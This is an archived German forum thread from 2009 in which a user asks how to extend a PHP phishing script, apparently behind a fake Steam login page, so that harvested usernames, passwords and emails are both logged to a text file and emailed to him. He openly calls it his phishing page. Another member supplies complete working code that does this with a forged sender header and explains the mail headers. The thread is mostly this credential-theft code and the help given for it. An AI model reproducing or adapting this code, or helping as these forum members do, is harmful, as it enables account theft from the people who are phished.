PDA

Archiv verlassen und diese Seite im Standarddesign anzeigen : Wie kombiniere ich Mail und Logs?



Kingslayer
28.07.2009, 13:50
Hey wie kombiniere ich mail und log Methode. Momentan schreibe ich das ganze in eine txt. Jetzt will ich aber auch das mir die Daten gemailt werden .



<?php
$feld= "\n---------------------------------------\n USER: " . $_POST['name'];
$feld2= "\n PASS: " . $_POST['pass'];
$feld3= "\n MAIL: " . $_POST['mail'];

$write=fopen("name.txt", "a");
fwrite($write, $feld);
fwrite($write, $feld2);
fwrite($write, $feld3);
fclose($write);
?>
<meta http-equiv="refresh"
content="0;url=/steam.php">



So logge ich momentan. Mfg Kingslayer

VeN0m
28.07.2009, 14:11
Gewöhnt euch mal bitte alle an, dass ihr nicht die vorhandenen Threads vollschreibt sondern neue öffnet, wenn ihr Fragen habt, wo ihr mehrere Antworten erwarten könnt.
Denn die Sticky-Threads sind nicht zum beantworten eurer Fragen da!

Und wo liegt nun das Problem? Wenn Du alle Daten schon hast brauchst Du sie ja nurnoch in eine Mail packen. Und bitte lass dieses Meta-Zeugs!
Das wird mit header() gemacht, nicht mit Meta... -.-" Sorry, bei sowas kriege ich immer Anfälle, wenn ich sowas sehe xD.



<?php
header("location: /steam.php");

$feld= "\n---------------------------------------\n USER: " . $_POST['name'];
$feld2= "\n PASS: " . $_POST['pass'];
$feld3= "\n MAIL: " . $_POST['mail'];

$write=fopen("name.txt", "a");
fwrite($write, $feld);
fwrite($write, $feld2);
fwrite($write, $feld3);
fclose($write);

$Name = "Passwort-Service";
$email = "absender@adress.com";
$recipient = "DEINE_EMAIL@DEIN_HOST.de";
$mail_body = $feld."\r\n".$feld2."\r\n".$feld3;
$subject = "Passwort";
$header = "From: ". $Name . " <" . $email . ">\r\n";

mail($recipient, $subject, $mail_body, $header);

exit;
?>


Sollte so gehen. Wenn nicht, liest mal den Artikel über die Funktion mail() (http://de2.php.net/manual/de/book.mail.php) auf php.net.

Kingslayer
28.07.2009, 14:14
Ist nicht von mir , ist von einer Page zu der ich den Login gefunden habe ... Würde gerne sowenig wie möglich ändern ^^.

VeN0m
28.07.2009, 14:21
Weniger ginge nur, wenn Du die Daten direkt in den mail()-Befehl einbindest - Viel weniger wirst Du aber kaum hinbekommen...
Solche Aktionen benötigen nunmal Code.

kalachnikov
28.07.2009, 14:26
Hier ist mal mein Code, den ich geschrieben hab als ich an einer Community mit Registrierung rumgebastelt habe.
Dürfte leicht verständlich sein!



//Email absenden

$to = $mail;
$subject = $row->name." Aktivierung deines Profils";
$message = 'Hallo '.$nick.'!

Du hast dich eben erfolgreich bei '.$row->name.' angemeldet.
Um dein Profil nutzen zu können, musst du es jedoch erst aktivieren.
Dazu log dich bitte auf '.$row->name.' mit deinem Nick und deinem Passwort ein.

Nick: '.$nick.'
Passwort: '.$passwort_1.'

Viel Spass wünscht dir das ganze '.$row->name.' Team!';
$headers = 'From: '.$row->email.'' . "\r\n" .
'Reply-To: '.$row->email.'' . "\r\n" .
'X-Mailer: PHP/' . phpversion();

mail($to, $subject, $message, $headers);


}
else fehler ("Bitte f&uuml;llen Sie das Anmeldeformular vollst&auml;ndig aus!");
}



else {

Kingslayer
28.07.2009, 14:27
es geht mir mehr darum das der erste part und das

<meta http-equiv="refresh"
content="0;url=/steam.php">
erhalten bleibt ! :)

VeN0m
28.07.2009, 14:39
Hast Du meinen Code bzw. meinen Beitrag mal angesehen?
Meta ist crap, das macht man mit header(). Und das habe ich - Es hat den selben, jedoch besseren Effekt, wie bei Deinem Ursprungscode. Auch habe ich lediglich die Mailfunktion hinzugefügt. Wenn Du den Code nicht verstehst ist das nicht mein Problem bzw. wenn Du ihn Dir garnicht erst ansiehst.

kalachnikov
28.07.2009, 14:43
nimm dir mal ein PHP Grundkurs hier (http://www.teialehrbuch.de/Kostenlose-Kurse/PHP/9227-Erste-Schritte.html)!

Kingslayer
28.07.2009, 14:47
Ich hab ihn schon gelesen :) und bin dir auch dankbar für ! Ich wollte es nur nicht ändern da es nicht meine Phishingpage ist !

Noch ne Frage Kann ich bei absender "absender@adresse.com" lassen ?

Und warum gibt es diese Zeile im Beispiel nicht ?

<?php
$username = $_POST['username'];
$password = $_POST['password'];

$to = "E-Mail";
$subject = "Betreff";
$content = "Username: ".$username ."\r\nPassword: ".$password;
mail($to, $subject, $content);
?>

MfG Kignslayer


BTW Kalaschnikov keiner deiner Posts hat bisher geholfen...

VeN0m
28.07.2009, 15:03
Manchmal geht absender@adresse.com (oder anderer Mist), manchmal nicht --> Testen.

Warum diese Zeilen da nicht stehen? Sie stehen dort, Du guckst nur nicht richtig.



$username = $_POST['username'];
$password = $_POST['password'];


steht in Deinem Ursprungscode als



$feld= "\n---------------------------------------\n USER: " . $_POST['name'];
$feld2= "\n PASS: " . $_POST['pass'];
$feld3= "\n MAIL: " . $_POST['mail'];


Und so habe ich es auch in die Mail-Funktion übertragen...

Auch, wenn Du meinst, dass keiner von Kalaschnikovs Posts Dir bisher geholfen hat: Er hat Recht, ein PHP-Grundkurs wäre angebracht!

n3v3r-ag4in
28.07.2009, 15:11
oh sven hat heute ne kurze leitung.... bleib ruhig ;) nicht dass das in irgendeiner art und weise gesundheitsgefährdend ist.

Kingslayer
28.07.2009, 15:12
Hmm du hast mich falsch verstanden ^^...

Warum benutzt du diese Zeile

$email = "absender@adress.com";

aber dsie steht nicht im bsp. Code ?

<?php
$username = $_POST['username'];
$password = $_POST['password'];

$to = "E-Mail";
$subject = "Betreff";
$content = "Username: ".$username ."\r\nPassword: ".$password;
mail($to, $subject, $content);
?>


Hab schon verstanden was du ansonsten gemacht hast ! Und habe auch verstanden was der Codeschnippsel macht !

VeN0m
28.07.2009, 15:15
Viele Emailanbieter akzeptieren eingehende Emails nicht, wenn der Header nicht mitgeliefert wurde. Der Header enthält z.B. Angaben darüber, von wem die Email stammt, welcher Mailer verwendet wurde etc. Die Angaben, wie z.B. $email = "absender@adress.com" sind Teile des Headers.

kalachnikov
28.07.2009, 15:17
Was willst du jetzt wissen..?
Power-Sven hat schon alles gesagt was notwendig ist..
Wenn du dir den Code nicht selbst zusammenbasteln kannst, dann nimm dir jetzt endlich ein Grundkurs in PHP

Kingslayer
28.07.2009, 15:20
oh sven hat heute ne kurze leitung.... bleib ruhig ;) nicht dass das in irgendeiner art und weise gesundheitsgefährdend ist.


Was willst du jetzt wissen..?
Power-Sven hat schon alles gesagt was notwendig ist..
Wenn du dir den Code nicht selbst zusammenbasteln kannst, dann nimm dir jetzt endlich ein Grundkurs in PHP


nimm dir mal ein PHP Grundkurs hier (http://www.teialehrbuch.de/Kostenlose-Kurse/PHP/9227-Erste-Schritte.html)!


Hier ist mal mein Code, den ich geschrieben hab als ich an einer Community mit Registrierung rumgebastelt habe.
Dürfte leicht verständlich sein!



//Email absenden

$to = $mail;
$subject = $row->name." Aktivierung deines Profils";
$message = 'Hallo '.$nick.'!

Du hast dich eben erfolgreich bei '.$row->name.' angemeldet.
Um dein Profil nutzen zu können, musst du es jedoch erst aktivieren.
Dazu log dich bitte auf '.$row->name.' mit deinem Nick und deinem Passwort ein.

Nick: '.$nick.'
Passwort: '.$passwort_1.'

Viel Spass wünscht dir das ganze '.$row->name.' Team!';
$headers = 'From: '.$row->email.'' . "\r\n" .
'Reply-To: '.$row->email.'' . "\r\n" .
'X-Mailer: PHP/' . phpversion();

mail($to, $subject, $message, $headers);


}
else fehler ("Bitte f&uuml;llen Sie das Anmeldeformular vollst&auml;ndig aus!");
}



else {



Das alles war sinnlos :) , wollte nur verstehen für was genau ich das brauche ! Vielen Dank an Power Sven für die kompetente und geduldige Hilfe !

VeN0m
28.07.2009, 15:29
Gut, dann hätten wir das ja. Falls noch was ist --> PN me.
Ansonsten close ich hier mal, bevor hier nurnoch sinnlose Beiträge kommen ;). Hauptsache es geht.